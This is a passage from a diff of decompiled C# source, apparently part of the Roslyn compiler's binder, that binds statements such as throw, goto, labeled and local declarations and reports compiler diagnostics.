BindingDiagnosticBag diagnostics) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if (Flags.Includes(BinderFlags.InFinallyBlock)) + { + Error(diagnostics, ErrorCode.ERR_BadYieldInFinally, node.YieldKeyword); + } + else if (BindingTopLevelScriptCode) + { + Error(diagnostics, ErrorCode.ERR_YieldNotAllowedInScript, node.YieldKeyword); + } + ValidateYield(node, diagnostics); + CheckRequiredLangVersionForIteratorMethods(node, diagnostics); + return new BoundYieldBreakStatement((SyntaxNode)(object)node); + } + + private BoundStatement BindLockStatement(LockStatementSyntax node, BindingDiagnosticBag diagnostics) + { + Binder binder = GetBinder((SyntaxNode)(object)node); + return binder.BindLockStatementParts(diagnostics, binder); + } + + internal virtual BoundStatement BindLockStatementParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + return Next.BindLockStatementParts(diagnostics, originalBinder); + } + + private BoundStatement BindUsingStatement(UsingStatementSyntax node, BindingDiagnosticBag diagnostics) + { + Binder binder = GetBinder((SyntaxNode)(object)node); + return binder.BindUsingStatementParts(diagnostics, binder); + } + + internal virtual BoundStatement BindUsingStatementParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + return Next.BindUsingStatementParts(diagnostics, originalBinder); + } + + internal BoundStatement BindPossibleEmbeddedStatement(StatementSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_012d: Unknown result type (might be due to invalid IL or missing references) + //IL_0132: Unknown result type (might be due to invalid IL or missing references) + //IL_013a: Unknown result type (might be due to invalid IL or missing references) + switch (node.Kind()) + { + case SyntaxKind.LocalDeclarationStatement: + diagnostics.Add(ErrorCode.ERR_BadEmbeddedStmt, node.GetLocation()); + goto case SyntaxKind.ExpressionStatement; + case SyntaxKind.ExpressionStatement: + case SyntaxKind.ReturnStatement: + case SyntaxKind.YieldReturnStatement: + case SyntaxKind.ThrowStatement: + case SyntaxKind.LockStatement: + case SyntaxKind.IfStatement: + { + Binder binder = GetBinder((SyntaxNode)(object)node); + return binder.WrapWithVariablesIfAny(node, binder.BindStatement(node, diagnostics)); + } + case SyntaxKind.LabeledStatement: + case SyntaxKind.LocalFunctionStatement: + { + diagnostics.Add(ErrorCode.ERR_BadEmbeddedStmt, node.GetLocation()); + Binder binder = GetBinder((SyntaxNode)(object)node); + return binder.WrapWithVariablesAndLocalFunctionsIfAny(node, binder.BindStatement(node, diagnostics)); + } + case SyntaxKind.SwitchStatement: + { + SwitchStatementSyntax switchStatementSyntax = (SwitchStatementSyntax)node; + Binder binder = GetBinder((SyntaxNode)(object)switchStatementSyntax.Expression); + return binder.WrapWithVariablesIfAny(switchStatementSyntax.Expression, binder.BindStatement(node, diagnostics)); + } + case SyntaxKind.EmptyStatement: + { + EmptyStatementSyntax emptyStatementSyntax = (EmptyStatementSyntax)node; + SyntaxToken semicolonToken = emptyStatementSyntax.SemicolonToken; + if (((SyntaxToken)(ref semicolonToken)).IsMissing) + { + break; + } + SyntaxKind syntaxKind = node.Parent.Kind(); + if (syntaxKind == SyntaxKind.WhileStatement || syntaxKind - 8811 <= SyntaxKind.List || syntaxKind == SyntaxKind.ForEachVariableStatement) + { + semicolonToken = emptyStatementSyntax.SemicolonToken; + if (((SyntaxToken)(ref semicolonToken)).GetNextToken(false, false, false, false).Kind() != SyntaxKind.OpenBraceToken) + { + break; + } + } + diagnostics.Add(ErrorCode.WRN_PossibleMistakenNullStatement, node.GetLocation()); + break; + } + } + return BindStatement(node, diagnostics); + } + + private BoundExpression BindThrownExpression(ExpressionSyntax exprSyntax, BindingDiagnosticBag diagnostics, ref bool hasErrors) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = BindValue(exprSyntax, diagnostics, BindValueKind.RValue); + if (Compilation.LanguageVersion < MessageID.IDS_FeatureSwitchExpression.RequiredVersion()) + { + if (!boundExpression.IsLiteralNull()) + { + boundExpression = BindToNaturalType(boundExpression, diagnostics); + TypeSymbol type = boundExpression.Type; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + if ((object)type == null || (!type.IsErrorType() && !Compilation.IsExceptionType(type.EffectiveType(ref useSiteInfo), ref useSiteInfo))) + { + diagnostics.Add(ErrorCode.ERR_BadExceptionType, ((SyntaxNode)exprSyntax).Location); + hasErrors = true; + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)exprSyntax, useSiteInfo); + } + else + { + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies(useSiteInfo); + } + } + } + else + { + boundExpression = GenerateConversionForAssignment(GetWellKnownType((WellKnownType)52, diagnostics, (SyntaxNode)(object)exprSyntax), boundExpression, diagnostics); + } + return boundExpression; + } + + private BoundStatement BindThrow(ThrowStatementSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expressionOpt = null; + bool hasErrors = false; + ExpressionSyntax expression = node.Expression; + SyntaxToken throwKeyword; + if (expression != null) + { + expressionOpt = BindThrownExpression(expression, diagnostics, ref hasErrors); + } + else if (!Flags.Includes(BinderFlags.InCatchBlock)) + { + throwKeyword = node.ThrowKeyword; + diagnostics.Add(ErrorCode.ERR_BadEmptyThrow, ((SyntaxToken)(ref throwKeyword)).GetLocation()); + hasErrors = true; + } + else if (Flags.Includes(BinderFlags.InNestedFinallyBlock)) + { + throwKeyword = node.ThrowKeyword; + diagnostics.Add(ErrorCode.ERR_BadEmptyThrowInFinally, ((SyntaxToken)(ref throwKeyword)).GetLocation()); + hasErrors = true; + } + return new BoundThrowStatement((SyntaxNode)(object)node, expressionOpt, hasErrors); + } + + private static BoundStatement BindEmpty(EmptyStatementSyntax node) + { + return new BoundNoOpStatement((SyntaxNode)(object)node, NoOpStatementFlavor.Default); + } + + private BoundLabeledStatement BindLabeled(LabeledStatementSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Unknown result type (might be due to invalid IL or missing references) + //IL_0120: Unknown result type (might be due to invalid IL or missing references) + bool hasErrors = false; + LookupResult instance = LookupResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + SyntaxToken identifier = node.Identifier; + Binder binder = LookupSymbolsWithFallback(instance, ((SyntaxToken)(ref identifier)).ValueText, 0, ref useSiteInfo, null, LookupOptions.LabelsOnly); + LabelSymbol labelSymbol = ((instance.Symbols.Count > 0 && instance.IsMultiViable) ? ((LabelSymbol)instance.Symbols.First()) : new SourceLabelSymbol((MethodSymbol)ContainingMemberOrLambda, SyntaxNodeOrToken.op_Implicit(node.Identifier))); + SyntaxNodeOrToken identifierNodeOrToken = labelSymbol.IdentifierNodeOrToken; + if (((SyntaxNodeOrToken)(ref identifierNodeOrToken)).IsToken) + { + identifierNodeOrToken = labelSymbol.IdentifierNodeOrToken; + if (!(((SyntaxNodeOrToken)(ref identifierNodeOrToken)).AsToken() != node.Identifier)) + { + goto IL_00d0; + } + } + SyntaxToken identifier2 = node.Identifier; + object[] array = new object[1]; + identifier = node.Identifier; + array[0] = ((SyntaxToken)(ref identifier)).ValueText; + Error(diagnostics, ErrorCode.ERR_DuplicateLabel, identifier2, array); + hasErrors = true; + goto IL_00d0; + IL_00d0: + if (binder != null) + { + instance.Clear(); + Binder? next = binder.Next; + identifier = node.Identifier; + next.LookupSymbolsWithFallback(instance, ((SyntaxToken)(ref identifier)).ValueText, 0, ref useSiteInfo, null, LookupOptions.LabelsOnly); + if (instance.IsMultiViable) + { + SyntaxToken identifier3 = node.Identifier; + object[] array2 = new object[1]; + identifier = node.Identifier; + array2[0] = ((SyntaxToken)(ref identifier)).ValueText; + Error(diagnostics, ErrorCode.ERR_LabelShadow, identifier3, array2); + hasErrors = true; + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + instance.Free(); + BoundStatement body = BindStatement(node.Statement, diagnostics); + return new BoundLabeledStatement((SyntaxNode)(object)node, labelSymbol, body, hasErrors); + } + + private BoundStatement BindGoto(GotoStatementSyntax node, BindingDiagnosticBag diagnostics) + { + switch (node.Kind()) + { + case SyntaxKind.GotoStatement: + { + BoundExpression boundExpression = BindLabel(node.Expression, diagnostics); + if (!(boundExpression is BoundLabel boundLabel)) + { + return new BoundBadStatement((SyntaxNode)(object)node, ImmutableArray.Create((BoundNode)boundExpression), hasErrors: true); + } + LabelSymbol label = boundLabel.Label; + return new BoundGotoStatement((SyntaxNode)(object)node, label, null, boundLabel); + } + case SyntaxKind.GotoCaseStatement: + case SyntaxKind.GotoDefaultStatement: + { + SwitchBinder switchBinder = GetSwitchBinder(this); + if (switchBinder == null) + { + Error(diagnostics, ErrorCode.ERR_InvalidGotoCase, (CSharpSyntaxNode)node); + ImmutableArray childBoundNodes = ((node.Expression == null) ? ImmutableArray.Empty : ImmutableArray.Create((BoundNode)BindRValueWithoutTargetType(node.Expression, BindingDiagnosticBag.Discarded))); + return new BoundBadStatement((SyntaxNode)(object)node, childBoundNodes, hasErrors: true); + } + return switchBinder.BindGotoCaseOrDefault(node, this, diagnostics); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)node.Kind()); + } + } + + private BoundStatement BindLocalFunctionStatement(LocalFunctionStatementSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0159: Unknown result type (might be due to invalid IL or missing references) + //IL_015e: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Unknown result type (might be due to invalid IL or missing references) + //IL_0167: Unknown result type (might be due to invalid IL or missing references) + //IL_016d: Unknown result type (might be due to invalid IL or missing references) + //IL_0172: Unknown result type (might be due to invalid IL or missing references) + //IL_0174: Unknown result type (might be due to invalid IL or missing references) + //IL_0193: Unknown result type (might be due to invalid IL or missing references) + //IL_0188: Unknown result type (might be due to invalid IL or missing references) + //IL_01a7: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureLocalFunctions.CheckFeatureAvailability(diagnostics, node.Identifier); + LocalFunctionSymbol localSymbol = LookupLocalFunction(node.Identifier); + bool flag = localSymbol.ScopeBinder.ValidateDeclarationNameConflictsInScope(localSymbol, diagnostics); + BoundBlock boundBlock = null; + BoundBlock boundBlock2 = null; + if (node.Body != null) + { + boundBlock = runAnalysis(BindEmbeddedBlock(node.Body, diagnostics), diagnostics); + if (node.ExpressionBody != null) + { + boundBlock2 = runAnalysis(BindExpressionBodyAsBlock(node.ExpressionBody, BindingDiagnosticBag.Discarded), BindingDiagnosticBag.Discarded); + } + } + else if (node.ExpressionBody != null) + { + boundBlock2 = runAnalysis(BindExpressionBodyAsBlock(node.ExpressionBody, diagnostics), diagnostics); + } + else if (!flag && (!localSymbol.IsExtern || !localSymbol.IsStatic)) + { + flag = true; + diagnostics.Add(ErrorCode.ERR_LocalFunctionMissingBody, localSymbol.GetFirstLocation(), localSymbol); + } + if (!flag && (boundBlock != null || boundBlock2 != null) && localSymbol.IsExtern) + { + flag = true; + diagnostics.Add(ErrorCode.ERR_ExternHasBody, localSymbol.GetFirstLocation(), localSymbol); + } + localSymbol.GetDeclarationDiagnostics(diagnostics); + Symbol.CheckForBlockAndExpressionBody(node.Body, node.ExpressionBody, node, diagnostics); + SyntaxTokenList modifiers = node.Modifiers; + Enumerator enumerator = ((SyntaxTokenList)(ref modifiers)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxToken current = ((Enumerator)(ref enumerator)).Current; + if (current.IsKind(SyntaxKind.StaticKeyword)) + { + MessageID.IDS_FeatureStaticLocalFunctions.CheckFeatureAvailability(diagnostics, current); + } + else if (current.IsKind(SyntaxKind.ExternKeyword)) + { + MessageID.IDS_FeatureExternLocalFunctions.CheckFeatureAvailability(diagnostics, current); + } + } + return new BoundLocalFunctionStatement((SyntaxNode)(object)node, localSymbol, boundBlock, boundBlock2, flag); + BoundBlock runAnalysis(BoundBlock block, BindingDiagnosticBag blockDiagnostics) + { + if (block != null) + { + DiagnosticBag instance = DiagnosticBag.GetInstance(); + bool num = ControlFlowPass.Analyze(localSymbol.DeclaringCompilation, localSymbol, block, instance); + instance.Free(); + if (num) + { + if (ImplicitReturnIsOkay(localSymbol)) + { + block = FlowAnalysisPass.AppendImplicitReturn(block, localSymbol); + } + else + { + blockDiagnostics.Add(ErrorCode.ERR_ReturnExpected, localSymbol.GetFirstLocation(), localSymbol); + } + } + } + return block; + } + } + + private bool ImplicitReturnIsOkay(MethodSymbol method) + { + if (!method.ReturnsVoid && !method.IsIterator) + { + return method.IsAsyncEffectivelyReturningTask(Compilation); + } + return true; + } + + public BoundStatement BindExpressionStatement(ExpressionStatementSyntax node, BindingDiagnosticBag diagnostics) + { + return BindExpressionStatement(node, node.Expression, node.AllowsAnyExpression, diagnostics); + } + + private BoundExpressionStatement BindExpressionStatement(CSharpSyntaxNode node, ExpressionSyntax syntax, bool allowsAnyExpression, BindingDiagnosticBag diagnostics) + { + BoundExpression boundExpression = BindRValueWithoutTargetType(syntax, diagnostics); + ReportSuppressionIfNeeded(boundExpression, diagnostics); + BoundExpressionStatement result; + if (!allowsAnyExpression && !IsValidStatementExpression((SyntaxNode)(object)syntax, boundExpression)) + { + if (!((SyntaxNode)node).HasErrors) + { + Error(diagnostics, ErrorCode.ERR_IllegalStatement, (CSharpSyntaxNode)syntax); + } + result = new BoundExpressionStatement((SyntaxNode)(object)node, boundExpression, hasErrors: true); + } + else + { + result = new BoundExpressionStatement((SyntaxNode)(object)node, boundExpression); + } + CheckForUnobservedAwaitable(boundExpression, diagnostics); + return result; + } + + private void CheckForUnobservedAwaitable(BoundExpression expression, BindingDiagnosticBag diagnostics) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + if (CouldBeAwaited(expression)) + { + Error(diagnostics, ErrorCode.WRN_UnobservedAwaitableExpression, SyntaxNodeOrToken.op_Implicit(expression.Syntax)); + } + } + + internal BoundStatement BindLocalDeclarationStatement(LocalDeclarationStatementSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (node.UsingKeyword != default(SyntaxToken)) + { + return BindUsingDeclarationStatementParts(node, diagnostics); + } + return BindDeclarationStatementParts(node, diagnostics); + } + + private BoundStatement BindUsingDeclarationStatementParts(LocalDeclarationStatementSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return UsingStatementBinder.BindUsingStatementOrDeclarationFromParts((SyntaxNode)(object)node, node.UsingKeyword, node.AwaitKeyword, this, null, diagnostics); + } + + private BoundStatement BindDeclarationStatementParts(LocalDeclarationStatementSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + TypeSyntax type = node.Declaration.Type; + bool isConst = node.IsConst; + if (type is ScopedTypeSyntax scopedTypeSyntax) + { + ModifierUtils.CheckScopedModifierAvailability(node, scopedTypeSyntax.ScopedKeyword, diagnostics); + type = scopedTypeSyntax.Type; + } + type = type.SkipRefInLocalOrReturn(diagnostics, out var _); + bool isVar; + AliasSymbol alias; + TypeWithAnnotations declTypeOpt = BindVariableTypeWithAnnotations(node.Declaration, diagnostics, type, ref isConst, out isVar, out alias); + LocalDeclarationKind kind = ((!isConst) ? LocalDeclarationKind.RegularVariable : LocalDeclarationKind.Constant); + SeparatedSyntaxList variables = node.Declaration.Variables; + int count = variables.Count; + if (count == 1) + { + return BindVariableDeclaration(kind, isVar, variables[0], type, declTypeOpt, alias, diagnostics, includeBoundType: true, node); + } + BoundLocalDeclaration[] array = new BoundLocalDeclaration[count]; + int num = 0; + Enumerator enumerator = variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDeclaratorSyntax current = enumerator.Current; + bool includeBoundType = num == 0; + array[num++] = BindVariableDeclaration(kind, isVar, current, type, declTypeOpt, alias, diagnostics, includeBoundType); + } + return new BoundMultipleLocalDeclarations((SyntaxNode)(object)node, ImmutableArrayExtensions.AsImmutableOrNull(array)); + } + + internal MethodSymbol TryFindDisposePatternMethod(BoundExpression expr, SyntaxNode syntaxNode, bool hasAwait, BindingDiagnosticBag diagnostics) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol result; + PatternLookupResult patternLookupResult = PerformPatternMethodLookup(expr, hasAwait ? "DisposeAsync" : "Dispose", syntaxNode, diagnostics, out result); + if ((object)result != null && result.IsExtensionMethod) + { + return null; + } + if ((!hasAwait && (object)result != null && !result.ReturnsVoid) || patternLookupResult == PatternLookupResult.NotAMethod) + { + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + if (IsAccessible(result, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.WRN_PatternBadSignature, syntaxNode.Location, expr.Type, MessageID.IDS_Disposable.Localize(), result); + } + ((BindingDiagnosticBag)(object)diagnostics).Add(syntaxNode, useSiteInfo); + return null; + } + return result; + } + + private TypeWithAnnotations BindVariableTypeWithAnnotations(CSharpSyntaxNode declarationNode, BindingDiagnosticBag diagnostics, TypeSyntax typeSyntax, ref bool isConst, out bool isVar, out AliasSymbol alias) + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + bool isScoped; + TypeWithAnnotations result = BindTypeOrVarKeyword(typeSyntax.SkipScoped(out isScoped).SkipRef(), diagnostics, out isVar, out alias); + if (isVar) + { + if (isConst) + { + Error(diagnostics, ErrorCode.ERR_ImplicitlyTypedVariableCannotBeConst, declarationNode); + isConst = false; + } + if (declarationNode.Parent.Kind() == SyntaxKind.LocalDeclarationStatement && ((VariableDeclarationSyntax)declarationNode).Variables.Count > 1 && !((SyntaxNode)declarationNode).HasErrors) + { + Error(diagnostics, ErrorCode.ERR_ImplicitlyTypedVariableMultipleDeclarator, declarationNode); + } + } + else + { + if (result.IsStatic) + { + Error(diagnostics, ErrorCode.ERR_VarDeclIsStaticClass, (CSharpSyntaxNode)typeSyntax, new object[1] { result.Type }); + } + if (isConst && !result.Type.CanBeConst()) + { + Error(diagnostics, ErrorCode.ERR_BadConstType, (CSharpSyntaxNode)typeSyntax, new object[1] { result.Type }); + isConst = false; + } + } + return result; + } + + internal BoundExpression BindInferredVariableInitializer(BindingDiagnosticBag diagnostics, RefKind refKind, EqualsValueClauseSyntax initializer, CSharpSyntaxNode errorSyntax) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + IsInitializerRefKindValid(initializer, initializer, refKind, diagnostics, out var valueKind, out var value); + return BindInferredVariableInitializer(diagnostics, value, valueKind, errorSyntax); + } + + protected BoundExpression BindInferredVariableInitializer(BindingDiagnosticBag diagnostics, ExpressionSyntax initializer, BindValueKind valueKind, CSharpSyntaxNode errorSyntax) + { + if (initializer == null) + { + if (!((SyntaxNode)errorSyntax).HasErrors) + { + Error(diagnostics, ErrorCode.ERR_ImplicitlyTypedVariableWithNoInitializer, errorSyntax); + } + return null; + } + if (initializer.Kind() == SyntaxKind.ArrayInitializerExpression) + { + BoundArrayInitialization expr = BindUnexpectedArrayInitializer((InitializerExpressionSyntax)initializer, diagnostics, ErrorCode.ERR_ImplicitlyTypedVariableAssignedArrayInitializer, errorSyntax); + return CheckValue(expr, valueKind, diagnostics); + } + BoundExpression boundExpression = BindValue(initializer, diagnostics, valueKind); + BoundKind kind = boundExpression.Kind; + bool flag = ((kind == BoundKind.MethodGroup || kind == BoundKind.UnboundLambda) ? true : false); + BoundExpression boundExpression2 = (flag ? BindToInferredDelegateType(boundExpression, diagnostics) : BindToNaturalType(boundExpression, diagnostics)); + if (!boundExpression2.HasAnyErrors && !boundExpression2.HasExpressionType()) + { + Error(diagnostics, ErrorCode.ERR_ImplicitlyTypedVariableAssignedBadValue, errorSyntax, boundExpression2.Display); + } + return boundExpression2; + } + + private static bool IsInitializerRefKindValid(EqualsValueClauseSyntax initializer, CSharpSyntaxNode node, RefKind variableRefKind, BindingDiagnosticBag diagnostics, out BindValueKind valueKind, out ExpressionSyntax value) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Invalid comparison between Unknown and I4 + RefKind refKind = (RefKind)0; + value = initializer?.Value.CheckAndUnwrapRefExpression(diagnostics, out refKind); + if ((int)variableRefKind == 0) + { + valueKind = BindValueKind.RValue; + if ((int)refKind == 1) + { + Error(diagnostics, ErrorCode.ERR_InitializeByValueVariableWithReference, node); + return false; + } + } + else + { + valueKind = (((int)variableRefKind == 3) ? BindValueKind.ReadonlyRef : BindValueKind.RefOrOut); + if (initializer == null) + { + Error(diagnostics, ErrorCode.ERR_ByReferenceVariableMustBeInitialized, node); + return false; + } + if ((int)refKind != 1) + { + Error(diagnostics, ErrorCode.ERR_InitializeByReferenceVariableWithValue, node); + return false; + } + } + return true; + } + + protected BoundLocalDeclaration BindVariableDeclaration(LocalDeclarationKind kind, bool isVar, VariableDeclaratorSyntax declarator, TypeSyntax typeSyntax, TypeWithAnnotations declTypeOpt, AliasSymbol aliasOpt, BindingDiagnosticBag diagnostics, bool includeBoundType, CSharpSyntaxNode associatedSyntaxNode = null) + { + return BindVariableDeclaration(LocateDeclaredVariableSymbol(declarator, typeSyntax, kind), kind, isVar, declarator, typeSyntax, declTypeOpt, aliasOpt, diagnostics, includeBoundType, associatedSyntaxNode); + } + + protected BoundLocalDeclaration BindVariableDeclaration(SourceLocalSymbol localSymbol, LocalDeclarationKind kind, bool isVar, VariableDeclaratorSyntax declarator, TypeSyntax typeSyntax, TypeWithAnnotations declTypeOpt, AliasSymbol aliasOpt, BindingDiagnosticBag diagnostics, bool includeBoundType, CSharpSyntaxNode associatedSyntaxNode = null) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_016d: Unknown result type (might be due to invalid IL or missing references) + //IL_01fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0200: Invalid comparison between Unknown and I4 + //IL_0266: Unknown result type (might be due to invalid IL or missing references) + //IL_026b: Unknown result type (might be due to invalid IL or missing references) + //IL_026f: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + associatedSyntaxNode = associatedSyntaxNode ?? declarator; + bool flag = localSymbol.ScopeBinder.ValidateDeclarationNameConflictsInScope(localSymbol, diagnostics); + bool flag2 = false; + if ((int)localSymbol.RefKind != 0) + { + CheckRefLocalInAsyncOrIteratorMethod(localSymbol.IdentifierToken, diagnostics); + } + EqualsValueClauseSyntax initializer = declarator.Initializer; + if (!IsInitializerRefKindValid(initializer, declarator, localSymbol.RefKind, diagnostics, out var valueKind, out var value)) + { + flag2 = true; + } + BoundExpression initializerOpt; + if (isVar) + { + aliasOpt = null; + initializerOpt = BindInferredVariableInitializer(diagnostics, value, valueKind, declarator); + TypeSymbol typeSymbol = initializerOpt?.Type; + if ((object)typeSymbol != null) + { + declTypeOpt = TypeWithAnnotations.Create(typeSymbol); + if (declTypeOpt.IsVoidType()) + { + Error(instance, ErrorCode.ERR_ImplicitlyTypedVariableAssignedBadValue, (CSharpSyntaxNode)declarator, new object[1] { declTypeOpt.Type }); + declTypeOpt = TypeWithAnnotations.Create(CreateErrorType("var")); + flag2 = true; + } + if (!declTypeOpt.Type.IsErrorType() && declTypeOpt.IsStatic) + { + Error(instance, ErrorCode.ERR_VarDeclIsStaticClass, (CSharpSyntaxNode)typeSyntax, new object[1] { typeSymbol }); + flag2 = true; + } + } + else + { + declTypeOpt = TypeWithAnnotations.Create(CreateErrorType("var")); + flag2 = true; + } + } + else if (initializer == null) + { + initializerOpt = null; + } + else + { + initializerOpt = BindPossibleArrayInitializer(value, declTypeOpt.Type, valueKind, diagnostics); + if (kind != LocalDeclarationKind.FixedVariable) + { + initializerOpt = GenerateConversionForAssignment(declTypeOpt.Type, initializerOpt, instance, ((int)localSymbol.RefKind != 0) ? ConversionForAssignmentFlags.RefAssignment : ConversionForAssignmentFlags.None); + } + } + if (kind == LocalDeclarationKind.FixedVariable) + { + if (isVar && !flag2) + { + Error(instance, ErrorCode.ERR_ImplicitlyTypedLocalCannotBeFixed, (CSharpSyntaxNode)declarator); + flag2 = true; + } + if (!declTypeOpt.Type.IsPointerType()) + { + if (!flag2) + { + Error(instance, declTypeOpt.Type.IsFunctionPointer() ? ErrorCode.ERR_CannotUseFunctionPointerAsFixedLocal : ErrorCode.ERR_BadFixedInitType, (CSharpSyntaxNode)declarator); + flag2 = true; + } + } + else if (!IsValidFixedVariableInitializer(declTypeOpt.Type, ref initializerOpt, instance)) + { + flag2 = true; + } + } + CheckRestrictedTypeInAsyncMethod(ContainingMemberOrLambda, declTypeOpt.Type, instance, (SyntaxNode)(object)typeSyntax); + if ((int)localSymbol.Scope == 2 && !declTypeOpt.Type.IsErrorTypeOrRefLikeType()) + { + instance.Add(ErrorCode.ERR_ScopedRefAndRefStructOnly, ((SyntaxNode)typeSyntax).Location); + } + localSymbol.SetTypeWithAnnotations(declTypeOpt); + ImmutableArray argumentsOpt = BindDeclaratorArguments(declarator, instance); + switch (kind) + { + case LocalDeclarationKind.FixedVariable: + case LocalDeclarationKind.UsingVariable: + if (initializerOpt == null) + { + Error(instance, ErrorCode.ERR_FixedMustInit, (CSharpSyntaxNode)declarator); + flag2 = true; + } + break; + case LocalDeclarationKind.Constant: + if (initializerOpt != null && !((BindingDiagnosticBag)instance).HasAnyResolvedErrors()) + { + ImmutableBindingDiagnostic constantValueDiagnostics = localSymbol.GetConstantValueDiagnostics(initializerOpt); + ((BindingDiagnosticBag)(object)diagnostics).AddRange(constantValueDiagnostics, true); + flag2 = ImmutableArrayExtensions.HasAnyErrors(constantValueDiagnostics.Diagnostics); + } + break; + } + ((BindingDiagnosticBag)(object)diagnostics).AddRangeAndFree((BindingDiagnosticBag)(object)instance); + BoundTypeExpression declaredTypeOpt = null; + if (includeBoundType) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + typeSyntax.VisitRankSpecifiers(delegate(ArrayRankSpecifierSyntax rankSpecifier, (Binder binder, ArrayBuilder invalidDimensions, BindingDiagnosticBag diagnostics) args) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + bool hasErrors = false; + Enumerator enumerator = rankSpecifier.Sizes.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExpressionSyntax current = enumerator.Current; + BoundExpression boundExpression = args.binder.BindArrayDimension(current, args.diagnostics, ref hasErrors); + if (boundExpression != null) + { + args.invalidDimensions.Add(boundExpression); + } + } + }, (this, instance2, diagnostics)); + declaredTypeOpt = new BoundTypeExpression((SyntaxNode)(object)typeSyntax, aliasOpt, instance2.ToImmutableAndFree(), declTypeOpt); + } + return new BoundLocalDeclaration((SyntaxNode)(object)associatedSyntaxNode, localSymbol, declaredTypeOpt, (!flag2) ? initializerOpt : BindToTypeForErrorRecovery(initializerOpt)?.WithHasErrors(), argumentsOpt, isVar, flag2 || flag); + } + + 